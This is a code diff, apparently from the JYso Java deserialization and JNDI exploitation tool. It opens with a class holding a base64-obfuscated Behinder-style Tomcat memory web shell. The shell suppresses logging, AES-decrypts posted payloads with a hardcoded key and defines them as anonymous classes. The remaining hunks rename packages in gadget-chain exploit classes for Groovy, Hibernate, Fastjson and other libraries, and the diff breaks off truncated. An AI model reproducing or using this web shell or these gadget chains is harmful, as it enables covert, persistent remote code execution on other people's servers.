package com.qi4l.JYso.gadgets.Config;
public class MemShellPayloads {
public static String BEHINDER_SHELL_FOR_TOMCAT_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQlPYmplY3QgbGFzdFJlcXVlc3QgID0gcmVxOwoJCQlPYmplY3QgbGFzdFJlc3BvbnNlID0gcmVzcDsKCQkJdHJ5IHsKCQkJCU9iamVjdCB2YWx1ZSA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRIZWFkZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117SEVBREVSX0tFWX0pOwoJCQkJaWYgKHZhbHVlICE9IG51bGwgJiYgdmFsdWUudG9TdHJpbmcoKS5jb250YWlucyhIRUFERVJfVkFMVUUpKSB7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgcmVxdWVzdEZhY2FkZUNsYXNzICA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlcXVlc3RGYWNhZGUiLCB0cnVlLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJQ2xhc3MgcmVzcG9uc2VGYWNhZGVDbGFzcyA9IENsYXNzLmZvck5hbWUoIm9yZy5hcGFjaGUuY2F0YWxpbmEuY29ubmVjdG9yLlJlc3BvbnNlRmFjYWRlIiwgdHJ1ZSwgVGhyZWFkLmN1cnJlbnRUaHJlYWQoKS5nZXRDb250ZXh0Q2xhc3NMb2FkZXIoKSk7CgoJCQkJCQlpZiAoIShyZXF1ZXN0RmFjYWRlQ2xhc3MuaXNBc3NpZ25hYmxlRnJvbShsYXN0UmVxdWVzdC5nZXRDbGFzcygpKSkpIHsKCQkJCQkJCWxhc3RSZXF1ZXN0ID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCXdoaWxlICh0cnVlKSB7CgkJCQkJCQkJaWYgKHJlcXVlc3RGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXF1ZXN0LmdldENsYXNzKCkpKSBicmVhazsKCQkJCQkJCQlsYXN0UmVxdWVzdCA9IGdldE1ldGhvZEFuZEludm9rZShsYXN0UmVxdWVzdCwgImdldFJlcXVlc3QiLCBudWxsLCBudWxsKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlpZiAoIShyZXNwb25zZUZhY2FkZUNsYXNzLmlzQXNzaWduYWJsZUZyb20obGFzdFJlc3BvbnNlLmdldENsYXNzKCkpKSkgewoJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlc3AsICJnZXRSZXNwb25zZSIsIG51bGwsIG51bGwpOwoJCQkJCQkJd2hpbGUgKHRydWUpIHsKCQkJCQkJCQlpZiAocmVzcG9uc2VGYWNhZGVDbGFzcy5pc0Fzc2lnbmFibGVGcm9tKGxhc3RSZXNwb25zZS5nZXRDbGFzcygpKSkgYnJlYWs7CgkJCQkJCQkJbGFzdFJlc3BvbnNlID0gZ2V0TWV0aG9kQW5kSW52b2tlKGxhc3RSZXNwb25zZSwgImdldFJlc3BvbnNlIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQkJCX0KCgkJCQkJT2JqZWN0IG1ldGhvZCA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRNZXRob2QiLCBudWxsLCBudWxsKTsKCQkJCQlpZiAobWV0aG9kICE9IG51bGwgJiYgbWV0aG9kLnRvU3RyaW5nKCkuZXF1YWxzKCJQT1NUIikpIHsKCQkJCQkJamF2YS51dGlsLkhhc2hNYXAgcGFnZUNvbnRleHQgPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJCQkJT2JqZWN0ICAgICAgICAgICAgc2Vzc2lvbiAgICAgPSBnZXRNZXRob2RBbmRJbnZva2UobGFzdFJlcXVlc3QsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIGxhc3RSZXF1ZXN0KTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJyZXNwb25zZSIsIGxhc3RSZXNwb25zZSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoKCQkJCQkJamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIgcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcihnZXRNZXRob2RBbmRJbnZva2UoZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldFJlYWRlciIsIG51bGwsIG51bGwpLCAicmVhZExpbmUiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJaWYgKHBheWxvYWQubGVuZ3RoKCkgPT0gMCkgewoJCQkJCQkJcGF5bG9hZCA9IG5ldyBqYXZhLmxhbmcuU3RyaW5nQnVpbGRlcigpOwoKCQkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgIGNveW90ZVJlcXVlc3QgPSBnZXRGaWVsZFZhbHVlKGdldEZpZWxkVmFsdWUobGFzdFJlcXVlc3QsICJyZXF1ZXN0IiksICJjb3lvdGVSZXF1ZXN0Iik7CgkJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICBwYXJhbWV0ZXJzICAgID0gZ2V0TWV0aG9kQW5kSW52b2tlKGNveW90ZVJlcXVlc3QsICJnZXRQYXJhbWV0ZXJzIiwgbnVsbCwgbnVsbCk7CgkJCQkJCQlqYXZhLnV0aWwuTGlua2VkSGFzaE1hcCBwYXJhbU1hcCAgICAgID0gKGphdmEudXRpbC5MaW5rZWRIYXNoTWFwKSBnZXRGaWVsZFZhbHVlKHBhcmFtZXRlcnMsICJwYXJhbUhhc2hWYWx1ZXMiKTsKCQkJCQkJCWphdmEudXRpbC5JdGVyYXRvciAgICAgIGl0ZXJhdG9yICAgICAgPSBwYXJhbU1hcC5lbnRyeVNldCgpLml0ZXJhdG9yKCk7CgkJCQkJCQl3aGlsZSAoaXRlcmF0b3IuaGFzTmV4dCgpKSB7CgkJCQkJCQkJamF2YS51dGlsLk1hcC5FbnRyeSBuZXh0ICAgICAgICAgICA9IGl0ZXJhdG9yLm5leHQoKTsKCQkJCQkJCQlTdHJpbmcgICAgICAgICAgICAgIHBhcmFtS2V5ICAgICAgID0gbmV4dC5nZXRLZXkoKS50b1N0cmluZygpLnJlcGxhY2VBbGwoIiAiLCAiKyIpOwoJCQkJCQkJCWphdmEudXRpbC5BcnJheUxpc3QgcGFyYW1WYWx1ZUxpc3QgPSAoamF2YS51dGlsLkFycmF5TGlzdCkgbmV4dC5nZXRWYWx1ZSgpOwoJCQkJCQkJCWlmIChwYXJhbVZhbHVlTGlzdC5zaXplKCkgPT0gMCkgewoJCQkJCQkJCQlwYXlsb2FkLmFwcGVuZChwYXJhbUtleSk7CgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkJcGF5bG9hZC5hcHBlbmQocGFyYW1LZXkpLmFwcGVuZCgiPSIpLmFwcGVuZChwYXJhbVZhbHVlTGlzdC5nZXQoMCkpOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlub0xvZyhsYXN0UmVxdWVzdCk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ==";
@@ -1,4 +1,4 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
public interface DynamicDependencies {
}
@@ -1,7 +1,7 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.alibaba.fastjson2.JSONArray;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
@@ -1,6 +1,6 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
@@ -1,13 +1,12 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.codehaus.groovy.runtime.GStringImpl;
import org.codehaus.groovy.runtime.MethodClosure;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
@Dependencies({"org.codehaus.groovy:groovy <2.4.3"})
@Authors({Authors.Unam4})
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.hibernate.EntityMode;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.sun.rowset.JdbcRowSetImpl;
/**
@@ -1,22 +1,19 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSONArray;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import static com.qi4l.jndi.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina","com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
@Authors({Authors.Unam4})
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
@@ -1,11 +1,11 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.JavaVersion;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.jre.*;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.JavaVersion;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.jre.*;
import javax.xml.transform.Templates;
import java.beans.beancontext.BeanContextChild;
@@ -15,7 +15,7 @@ import java.io.DataOutputStream;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.jndi.Starter.JYsoMode;
import static com.qi4l.JYso.Starter.JYsoMode;
@SuppressWarnings({"unused"})
@@ -1,9 +1,9 @@
package com.qi4l.jndi.gadgets;
package com.qi4l.JYso.gadgets;
import com.qi4l.jndi.gadgets.utils.ByteUtil;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.Reflections;
import com.qi4l.jndi.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.ByteUtil;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.Serializer;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

Some files were not shown because too many files have changed in this diff Show More